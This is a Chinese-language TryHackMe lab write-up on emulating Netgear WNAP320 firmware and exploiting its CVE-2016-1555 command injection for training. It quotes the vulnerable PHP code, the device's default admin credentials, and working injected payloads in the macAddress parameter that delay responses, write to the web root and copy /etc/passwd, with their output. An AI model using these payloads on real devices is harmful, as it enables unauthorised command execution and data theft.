8 min read

TryHackMe - Intro to IoT Pentesting writeup (zh-TW)

TryHackMe - Intro to IoT Pentesting writeup (zh-TW)

題目說明

這一個房間,筆者的目的是希望可以在本機本地環境完成,所以有大量是跟本地環境架設有關的流程跟步驟,如果單純要使用TryHackMe提供的靶機完成,可以跳過部分步驟,如Part 3就是本機的環境設置。

環境說明

  • 系統: WSL2 Kali Linux
  • 目標: Netgear WNAP320 v2.0.3 韌體
  • 漏洞: CVE-2016-1555 - 命令注入

Part 1: 韌體下載與提取

1.1 下載韌體

mkdir ~/netgear-firmware && cd ~/netgear-firmware
wget https://www.downloads.netgear.com/files/GDC/WNAP320/WNAP320%20Firmware%20Version%202.0.3.zip

1.2 解壓韌體

# 第一層解壓
unzip 'WNAP320 Firmware Version 2.0.3.zip'

# 第二層 TAR 解壓
tar -xvf WNAP320_V2.0.3_firmware.tar

# 查看提取的文件
ls -la
# 輸出:rootfs.squashfs, vmlinux.gz.uImage, kernel.md5, root_fs.md5

1.3 提取 SquashFS 文件系統

嘗試 1: 使用 binwalk(失敗)

binwalk -e rootfs.squashfs
cd _rootfs.squashfs.extracted/squashfs-root
ls -la

問題:目錄為空!

total 8
drwxr-xr-x 2 user user 4096 Oct 24 17:55 .
drwxr-xr-x 3 user user 4096 Oct 24 17:55 ..

原因: binwalk 缺少 sasquatch 工具來處理舊版 SquashFS v3.1

解決方案:安裝 sasquatch

# 返回上層目錄
cd ~/netgear-firmware

# 安裝 sasquatch
sudo apt install sasquatch -y

# 清理舊的提取目錄
rm -rf _rootfs.squashfs.extracted

# 重新提取
binwalk -e rootfs.squashfs

成功輸出:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Squashfs filesystem, big endian, lzma signature, 
                              version 3.1, size: 4433988 bytes, 1247 inodes

驗證提取結果:

cd _rootfs.squashfs.extracted/squashfs-root
ls -la

應該看到完整的 Linux 文件系統:

drwxr-xr-x 13 user user 4096 Jun 23  2011 .
drwxr-xr-x  4 user user 4096 Oct 24 17:59 ..
drwxr-xr-x  2 user user 4096 Jun 23  2011 bin
drwxr-xr-x  2 user user 4096 Jun 23  2011 dev
drwxr-xr-x  9 user user 4096 Jun 23  2011 etc
drwxr-xr-x  4 user user 4096 Jun 23  2011 home
drwxr-xr-x  3 user user 4096 Jun 23  2011 lib
lrwxrwxrwx  1 user user   11 Jun 23  2011 linuxrc -> bin/busybox
drwxr-xr-x  2 user user 4096 Jun 23  2011 proc
drwx------  2 user user 4096 Jun 23  2011 root
drwxr-xr-x  2 user user 4096 Jun 23  2011 sbin
drwxrwxrwx  2 user user 4096 Jun 23  2011 tmp
drwxr-xr-x  6 user user 4096 Jun 23  2011 usr
drwxr-xr-x  4 user user 4096 Jun 23  2011 var

Part 2: 漏洞分析

2.1 查看漏洞代碼

cat home/www/boardDataWW.php

關鍵代碼(第 9 行):

exec("wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],$dummy,$res);

漏洞分析:

  1. 危險函數: exec() 直接執行系統命令
  2. 輸入拼接: 直接將 $_REQUEST['macAddress'] 拼接到命令中
  3. 正則驗證缺陷:
ereg("[0-9a-fA-F]{12,12}",$_REQUEST['macAddress'],$regs)
  • 未使用 ^$ 錨定
  • 只要字串包含 12 個 hex 字符即可通過
  • 允許在前後添加其他內容

繞過範例:

112233445566; whoami          ✅ 通過驗證
; cat /etc/passwd; 112233445566  ✅ 通過驗證
112233445566 && ls -la        ✅ 通過驗證

Part 3: 環境設置

3.1 安裝必要套件

sudo apt update
sudo apt install -y git qemu-system-arm qemu-system-mips qemu-system-x86 \
                    qemu-utils busybox-static python3 python3-pip binwalk \
                    squashfs-tools sasquatch socat

3.2 安裝 Firmadyne

cd ~
git clone --recursive https://github.com/firmadyne/firmadyne.git
cd firmadyne

# 下載 kernel 和 binaries
sudo ./download.sh

下載內容:

  • MIPS kernel (vmlinux.mipseb, vmlinux.mipsel)
  • ARM kernel (zImage.armel)
  • console binaries
  • libnvram libraries

3.3 配置 Firmadyne

問題 1: Python 版本問題

# 錯誤: env: 'python': No such file or directory
# 解決:
sudo ln -s /usr/bin/python3 /usr/bin/python

問題 2: 配置文件缺失變數

# 修改配置文件
sudo sed -i 's|#FIRMWARE_DIR=/home/vagrant/firmadyne/|FIRMWARE_DIR=/firmadyne/firmadyne|' \
    /firmadyne/firmadyne/firmadyne.config

問題 3: 編譯 console 和 libnvram

# 編譯 console
cd ~/firmadyne/sources/console
sudo make

# 編譯 libnvram
cd ~/firmadyne/sources/libnvram
sudo make

3.4 安裝 FAT (Firmware Analysis Toolkit)

cd ~
git clone https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit

# 編輯配置
nano fat.config

設置內容:

[DEFAULT]
firmadyne_path=/firmadyne/firmadyne

Part 4: 韌體模擬

4.1 清理並準備韌體

cd ~/firmware-analysis-toolkit

# 複製韌體
sudo cp ~/netgear-firmware/rootfs.squashfs .

# 清理舊映像(重要!)
sudo python3 reset.py

4.2 啟動 FAT

sudo python3 fat.py rootfs.squashfs

輸出過程:

                               __           _
                              / _|         | |
                             | |_    __ _  | |_
                             |  _|  / _` | | __|
                             | |   | (_| | | |_
                             |_|    \__,_|  \__|
                Welcome to the Firmware Analysis Toolkit - v0.3
    Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
                  By Attify - https://attify.com  | @attifyme

[+] Firmware: rootfs.squashfs
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: mipseb
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('brtrunk', '192.168.0.100')]
[+] All set! Press ENTER to run the firmware...
[+] When running, press Ctrl + A X to terminate qemu

記下 IP 地址: 192.168.0.100

4.3 啟動韌體

ENTER,等待系統啟動。

成功標誌:

System initialization is .. [DONE...]
Welcome to SDK.
Have a lot of fun...
netgear123456 login: 
[   26.768000] brtrunk: port 1(eth0) entering forwarding state
[   31.904000] eth0: no IPv6 routers present
[   32.064000] brtrunk: no IPv6 routers present

⚠️ 注意: 可能會出現 NAND 錯誤訊息:

[  481.088000] nand_do_write_ops: Attempt to write not page aligned data

這是正常的,不影響命令注入利用

⚠️ 重要:保持此終端運行,不要關閉!

Part 5: 網路訪問設置(WSL)

5.1 開啟新終端

Ctrl + Shift + T 或開新的終端視窗。

5.2 設置端口轉發

# 安裝 socat(如未安裝)
sudo apt install socat -y

# 設置轉發(背景執行)
sudo socat TCP-LISTEN:8081,fork,reuseaddr TCP:192.168.0.100:80

5.3 查看 WSL IP

hostname -I

或:

ip addr show eth0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'

輸出範例:

172.21.26.76

5.4 測試連接

# 在 WSL 內測試
curl http://192.168.0.100

# 應該看到 HTML 輸出

成功輸出範例:

<FRAMESET rows="70px,*,28px">
<FRAME name="header" scrolling="no" NORESIZE frameborder="0" src="login_header.php">
...

Part 6: 漏洞利用

6.1 在 Windows 瀏覽器訪問

開啟瀏覽器,訪問:

http://172.21.26.76:8081/

登入憑證:

  • Username: admin
  • Password: password

6.2 訪問漏洞頁面

http://172.21.26.76:8081/boardDataWW.php

你會看到一個表單:

  • MAC Address 輸入框
  • Region 選項(Worldwide)
  • Submit 按鈕

6.3 設置 Burp Suite

  1. 開啟 Burp Suite
  2. 設置瀏覽器代理:
    • Proxy: 127.0.0.1
    • Port: 8080
  3. 在 Burp 中開啟攔截:
    • ProxyIntercept is on

6.4 攔截請求

在表單輸入任意 MAC 地址:

MAC Address: 112233445566

點擊 Submit,Burp 會攔截到請求:

POST /boardDataWW.php HTTP/1.1
Host: 172.21.26.76:8081
Content-Length: 50
Content-Type: application/x-www-form-urlencoded

macAddress=112233445566&reginfo=0&writeData=Submit

發送到 Repeater:

  • 右鍵點擊請求
  • 選擇 Send to Repeater
  • 或按 Ctrl + R

6.5 漏洞驗證與利用

Payload 1: 時間延遲測試(驗證漏洞)

在 Repeater 中修改請求:

macAddress=112233445566; sleep 5&reginfo=0&writeData=Submit

點擊 Send,觀察響應時間。

結果:

  • ✅ 如果有明顯 5 秒延遲 → 漏洞確認!

Payload 2: 寫入測試文件

macAddress=112233445566; echo PWNED > /home/www/test.txt&reginfo=0&writeData=Submit

點擊 Send,然後在瀏覽器訪問:

http://172.21.26.76:8081/test.txt

成功顯示:

PWNED

Payload 3: 讀取 /etc/passwd

macAddress=112233445566; more /etc/passwd > /home/www/passwd.txt&reginfo=0&writeData=Submit

訪問:http://172.21.26.76:8081/passwd.txt

成功輸出:

root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
admin:x:0:0:Default non-root user:/home/cli/menu:/usr/sbin/cli

🎉 攻擊成功!

常見問題排查

問題 1: squashfs-root 目錄為空

原因: binwalk 缺少 sasquatch 工具

解決:

sudo apt install sasquatch -y
rm -rf _rootfs.squashfs.extracted
binwalk -e rootfs.squashfs

問題 2: python: command not found

原因: Firmadyne 腳本需要 python 命令

解決:

sudo ln -s /usr/bin/python3 /usr/bin/python
python --version  # 驗證

問題 3: FIRMWARE_DIR: unbound variable

原因: Firmadyne 配置文件未設置

解決:

sudo sed -i 's|#FIRMWARE_DIR=/home/vagrant/firmadyne/|FIRMWARE_DIR=/firmadyne/firmadyne|' \
    /firmadyne/firmadyne/firmadyne.config

問題 4: QEMU 無法加載 kernel

原因: Kernel 文件未下載或損壞

解決:

cd ~/firmadyne
sudo ./download.sh  # 重新下載 binaries
ls -la binaries/    # 確認文件存在

問題 5: FAT 提示 "Too many stale images"

原因: 有舊的映像檔殘留

解決:

cd ~/firmware-analysis-toolkit
sudo python3 reset.py
# 或手動刪除
sudo rm -rf /firmadyne/firmadyne/scratch/*
sudo rm -rf /firmadyne/firmadyne/images/*

問題 6: Windows 無法訪問 WSL 服務

原因: 端口轉發未正確設置

解決:

# 確認 socat 正在運行
ps aux | grep socat

# 如果沒有,重新設置
sudo killall socat
sudo socat TCP-LISTEN:8081,fork,reuseaddr TCP:192.168.0.100:80 &

# 驗證轉發
netstat -tuln | grep 8081

問題 7: 命令執行但無法讀取文件

原因: 某些命令可能不存在或權限問題

解決:嘗試不同命令

# 如果 cat 不行,試試 more
macAddress=112233445566; more /etc/passwd > /home/www/passwd.txt&reginfo=0&writeData=Submit

# 如果重定向不行,試試 cp
macAddress=112233445566; cp /etc/passwd /home/www/passwd.txt&reginfo=0&writeData=Submit

# 使用完整路徑
macAddress=112233445566; /bin/cat /etc/passwd > /home/www/passwd.txt&reginfo=0&writeData=Submit

問題 8: NAND 錯誤訊息

[  481.088000] nand_do_write_ops: Attempt to write not page aligned data

說明: 這是正常的!因為原本的 wr_mfg_data 命令嘗試寫入硬體,但在 QEMU 模擬環境中會失敗。

重要:不影響我們注入的命令執行!可以完全忽略。